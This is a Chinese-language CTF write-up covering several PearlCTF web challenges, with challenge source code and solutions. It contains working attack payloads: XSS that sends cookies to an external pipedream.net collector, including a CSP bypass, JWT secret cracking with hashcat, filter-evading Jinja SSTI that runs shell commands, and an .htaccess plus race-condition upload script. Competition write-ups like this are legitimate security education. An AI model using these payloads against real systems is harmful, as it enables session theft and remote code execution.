teamName: Ciallo~(∠・ω< )⌒☆
rank: #6
points: 7575
Reversing: 1474/7575
Miscellaneous: 438/7575
Crypto: 1,248/7575
Forensics: 904/7575
Web: 1169/7575
Blockchain: 788/7575
OSINT: 100/7575
Pwn: 1454/7575
这次比赛收获很多,也是和一群很强的师傅打,也感受到了自己确实很菜;w;
learn HTTP(76 Solves/50 Points)
https://learn-http.ctf.pearlctf.in
给的是一个公共靶机里面有一个机器人那大概率是xss了,题目还给了附件,先简单看一下页面,看看题目要我们干什么,里面要我们写一个类似http请求的东西,然后把生成好的payload交给机器人检查,接下来我们看一下源码
先看一下nodejs的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| require('dotenv').config()
const childProcess = require('child_process'); var jwt = require('jsonwebtoken');
const express = require("express") const path = require("path") const bodyParser = require("body-parser") var cookieParser = require('cookie-parser')
const app = express()
app.use(express.static(path.join(__dirname, 'public'))) app.use(bodyParser.urlencoded({ extended: false })) app.use(cookieParser())
app.get("/", (req, res) => { res.sendFile(path.join(__dirname, "templates/index.html")) })
const genToken = () => { var token = jwt.sign({ id: 1 }, process.env.SECRET); return token }
app.post("/check", (req, res) => { try { let req_body = req.body.body if (req_body == undefined) { return res.status(200).send("Body is not provided") }
let to_req = `http://localhost:5001/resp?body=${encodeURIComponent(req_body)}`
childProcess.spawn('node', ['./bot.js', JSON.stringify({ url: to_req, token: genToken() })]);
return res.status(200).send("Admin will check!") } catch (e) { console.log(e) return res.status(500).send("Internal Server Error") } })
app.get("/flag", (req, res) => { let token = req.cookies.token try { var decoded = jwt.verify(token, process.env.SECRET) if (decoded.id != 2) { return res.status(200).send("You are not verified") }
return res.status(200).send(process.env.FLAG) } catch { return res.status(200).send("You are not verified") } })
app.listen("5000", () => { console.log("Server started") })
|
有三个路由,逻辑都很简单, /
就是显示主页,/check
检查你构造的payload,并带上cookie(token),/flag
检查你的token 有没有修改如果有就返回flag
然后我们开看看另一个go的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| package main import ( "fmt" "net" "os" "strings" "net/url" ) const ( SERVER_HOST = "localhost" SERVER_PORT = "5001" SERVER_TYPE = "tcp" ) func main() { fmt.Println("Server Running...") server, err := net.Listen(SERVER_TYPE, SERVER_HOST+":"+SERVER_PORT) if err != nil { fmt.Println("Error listening:", err.Error()) os.Exit(1) } defer server.Close()
fmt.Println("Listening on " + SERVER_HOST + ":" + SERVER_PORT)
for { connection, err := server.Accept() if err != nil { fmt.Println("Error accepting: ", err.Error()) }
go processClient(connection) } } func processClient(connection net.Conn) { buffer := make([]byte, 1024) mLen, err := connection.Read(buffer) if err != nil { fmt.Println("Error reading:", err.Error()) } raw_http_req := strings.Split(string(buffer[:mLen]), "\r\n")[0] splitted_req := strings.Split(raw_http_req, " ")
if splitted_req[0] != "GET" { _, err = connection.Write([]byte("HTTP/1.1 405 Method Not Allowed\r\n\r\nCan only GET")) connection.Close() return }
parsed, err := url.Parse(splitted_req[1]) if err != nil { fmt.Println("Error parsing: ", err.Error()) }
path := parsed.Path
if path != "/resp" { _, err = connection.Write([]byte("HTTP/1.1 404 Not Found\r\n\r\nNot Found")) connection.Close() return } args, err := url.ParseQuery(parsed.RawQuery)
if err != nil { _, err = connection.Write([]byte("HTTP/1.1 500 Internal Server Error\r\n\r\nError")) connection.Close() return }
body, ok := args["body"]
if !ok { _, err = connection.Write([]byte("HTTP/1.1 200 OK\r\n\r\nGive me some body")) connection.Close() return }
_, err = connection.Write([]byte(body[0])) connection.Close() }
|
根据你的body来分割内容,先检查前面部分有没有问题,最后把最后一部分分割出来回显到网页上, 最后回显的部分没有任何过滤,先尝试一下直接打
1
| ?body=HTTP%2F1.1%20200%20OK%0D%0A%0D%0A<script>alert(1)</script>
|
成功弹窗,接下来简单构造一下外带cookie就行
1
| ?body=HTTP%2F1.1 200 OK%0D%0A%0D%0A<script>document.location.href="https://eopv4zbo4fy4ld3.m.pipedream.net/?x="%2bdocument.cookie</script>
|
拿到token
1
| token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzEwMjI1MDYyfQ.ucZOtlvfIFuRlGecK_0a22w5OC1lvT3himWAqgXrbS0
|
直接jwt.io改还不行,还要找到SECRET
的key改才行
用hashcat爆破
1
| hashcat -a 3 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzEwMjI1MDYyfQ.ucZOtlvfIFuRlGecK_0a22w5OC1lvT3himWAqgXrbS0
|
爆破出来密钥是 … banana
最后在jwt.io上加上密钥后修改
放到/flag检查得到flag
1
| pearl{c4nt_s3nd_th3_resP0n53_w1th0ut_Sani7iz1ng}
|
I am a web-noob(75 Solves/50 Points)
https://noob-login.ctf.pearlctf.in/
给的是一个公共靶机没有给源码,给了一个输入用户名的地方,随便数一个用户名(123),在主页回显
1 2
| Basic 123 Blah blah blah
|
猜测是ssti传一个参
回显
1
| {% set config=None%}{% set self=None%} 7*7}}
|
发现连续的两个大括号被过滤掉了,随便找个不用两个大括号的payload一把梭看看
1
| ?user={%print("".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('whoami').read())%}
|
可以看到有回显
1
| {% set config=None%}{% set self=None%}{%print("".__ __.__bases__[0]. __sub es__()[138].__init__.__globals__['popen']('whoami').read())%}
|
挺多东西被过滤了,那我们用另一种思路,用request.values.a
,在原本里面加个找个然后在传一个a里面是被过滤的内容就可以绕过了,尝试一下
1
| ?user={%print%20(lipsum|attr(request.values.a))%}&a=__globals__
|
成功回显
在回显里找到有os模块,用get获取,接下来就是如果有过滤就用request.values.a
绕,或者用引号绕,最终payload就是
1 2
| ?user={%print%20(lipsum|attr(request.values.a)).get('o''s')|attr(%22pop%22%22en%22)(%22cat /app/flag.txt%22)|attr(%22read%22)()%}%} &a=__globals__
|
得到flag
1
| pearl{W4s_my_p4ge_s3cur3_en0ugh_f0r_y0u?}
|
rabbithole(58 Solves/94 points)
https://rabbithole.ctf.pearlctf.in
给了一个网页,里面什么也没有,dirmap扫一下,扫出来robots.txt访问一下
里面有个/w0rk_h4rd
要我们去访问,里面说
1 2 3 4 5
| You sure are hardworking
but are you privileged enough?
Here is what you want: s3cr3t1v3_m3th0d
|
第二个问我们有没有权限,我们可以看到我们的Cookie是guest,把他改成admin就行了,下面看到文字有m3th0d,method就是访问方法,还有一个加粗的hardworking,先不知道是什么,先用方法和权限访问一下回显405,方法不对,那应该不是这个页面,试试/hardworking
,访问后成功回显flag,这题也算是纯纯靠猜的脑洞题了
1
| pearl{c0ngr4t5_but_th1s_1s_just_th3_b3g1nn1ng}
|
learn HTTP better(15 Solves/476 Points)
https://v1-learn-http.ctf.pearlctf.in/
是前面那题的升级版,和前面那题一样是xss,给了源码,js文件没什么改变,主要看go的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| package main import ( "fmt" "net" "os" "strings" "net/url" ) const ( SERVER_HOST = "localhost" SERVER_PORT = "5001" SERVER_TYPE = "tcp" ) func main() { fmt.Println("Server Running...") server, err := net.Listen(SERVER_TYPE, SERVER_HOST+":"+SERVER_PORT) if err != nil { fmt.Println("Error listening:", err.Error()) os.Exit(1) } defer server.Close()
fmt.Println("Listening on " + SERVER_HOST + ":" + SERVER_PORT)
for { connection, err := server.Accept() if err != nil { fmt.Println("Error accepting: ", err.Error()) }
go processClient(connection) } } func processClient(connection net.Conn) { buffer := make([]byte, 1024) mLen, err := connection.Read(buffer) if err != nil { fmt.Println("Error reading:", err.Error()) } raw_http_req := strings.Split(string(buffer[:mLen]), "\r\n")[0] splitted_req := strings.Split(raw_http_req, " ")
if splitted_req[0] != "GET" { _, err = connection.Write([]byte("HTTP/1.1 405 Method Not Allowed\r\n\r\nCan only GET")) connection.Close() return }
parsed, err := url.Parse(splitted_req[1]) if err != nil { fmt.Println("Error parsing: ", err.Error()) }
path := parsed.Path
if path != "/resp" { _, err = connection.Write([]byte("HTTP/1.1 404 Not Found\r\n\r\nNot Found")) connection.Close() return } args, err := url.ParseQuery(parsed.RawQuery)
if err != nil { _, err = connection.Write([]byte("HTTP/1.1 500 Internal Server Error\r\n\r\nError")) connection.Close() return }
body, ok := args["body"]
if !ok { _, err = connection.Write([]byte("HTTP/1.1 200 OK\r\n\r\nGive me some body")) connection.Close() return }
splitted_resp := strings.Split(body[0], "\r\n\r\n") new_header := strings.Join([]string{splitted_resp[0], "Content-Security-Policy: script-src 'self'"}, "\r\n")
final_body := strings.Join([]string{new_header, splitted_resp[1]}, "\r\n\r\n")
_, err = connection.Write([]byte(final_body)) connection.Close() }
|
多了一个
1
| new_header := strings.Join([]string{splitted_resp[0], "Content-Security-Policy: script-src 'self'"}, "\r\n")
|
script-src
是一个指令,用于控制特定页面的一组与脚本相关的权限,定义此策略后,当浏览器从任何其他来源加载脚本时,只会抛出错误消息。即使恶意攻击者成功的代码注入到 Web 站点时,也只能遇到错误消息
既然是self我们只需要把他定向到自己就可以了
那么我们构造出来脚本就为
1
| <script src="/resp?body=HTTP%252F1.1%2520200%2520OK%250D%250A%250D%250Aalert(1)"></script>
|
成功弹窗,最后构造payload
1
| HTTP%2F1.1 200 OK%0D%0A%0D%0A<script src="/resp?body=HTTP%252F1.1%2520200%2520OK%250D%250A%250D%250Adocument.location.href=%27https://eopv4zbo4fy4ld3.m.pipedream.net/?%27%252Bdocument.cookie"></script>
|
反弹回cookie
1
| eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzEwMjMxMTI1fQ._ej8la2uH7bscSM0WGhbtAt906crQ1OORF4zUtp9moo
|
继续用hashcat看一下密钥是password
得到flag
1
| pearl{w0w_7hat_w4s_0ut_Of_th3_boX}
|
Uploader(5 Solves/499 Points)
进去之后是一个upload界面,里面似乎只过滤文件内容,对文件名并不过滤,但是会对文件名进行hash
这个的后端过滤很奇怪,<>[]()=
等字符似乎可以存在,但是,只要左右超过有两个字符就会被过滤,同时php也被过滤了,中间思考过程就不说了,说了就太长了,和一个师傅讨论了快两个小时才出,直接给出正确的思考答案
首先先上传.htaccess
1 2 3 4 5
| ph\ p_flag engine 1 ph\ p_value auto_prepend_file .ph\ p
|
是的!我们整了半天,发现是php的解析没开,当时也完全没有想到,而斜杠则是绕过php的过滤
而php则是简单的条件竞争就能传上去并解析,虽然还是会删除,但是传一个写木马上去解析就行,最后找到flag在/opt/flag.txt
(也算是逆天这么能藏,加了.txt find也find不到,附上别的师傅的吐槽)

最后附上竞争代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| import requests
import threading
def getphpinfo():
url = "https://uploader-be0b0177dfa5950d.ctf.pearlctf.in" headers = { "Host": "uploader-be0b0177dfa5950d.ctf.pearlctf.in", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------72940437516480145501393954295", "Origin": "https://uploader-be0b0177dfa5950d.ctf.pearlctf.in", "Referer": "https://uploader-be0b0177dfa5950d.ctf.pearlctf.in/", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1", "Te": "trailers" } for i in range(10000): res= requests.get("https://uploader-be0b0177dfa5950d.ctf.pearlctf.in/uploads/10.80.1.9/.php") print(res.text) threads = [] for i in range(10): thread = threading.Thread(target=getphpinfo) threads.append(thread)
for thread in threads: thread.start()
for thread in threads: thread.join()
|
1
| pearl{d1d_y0u_just_d0uble_r4ce?}
|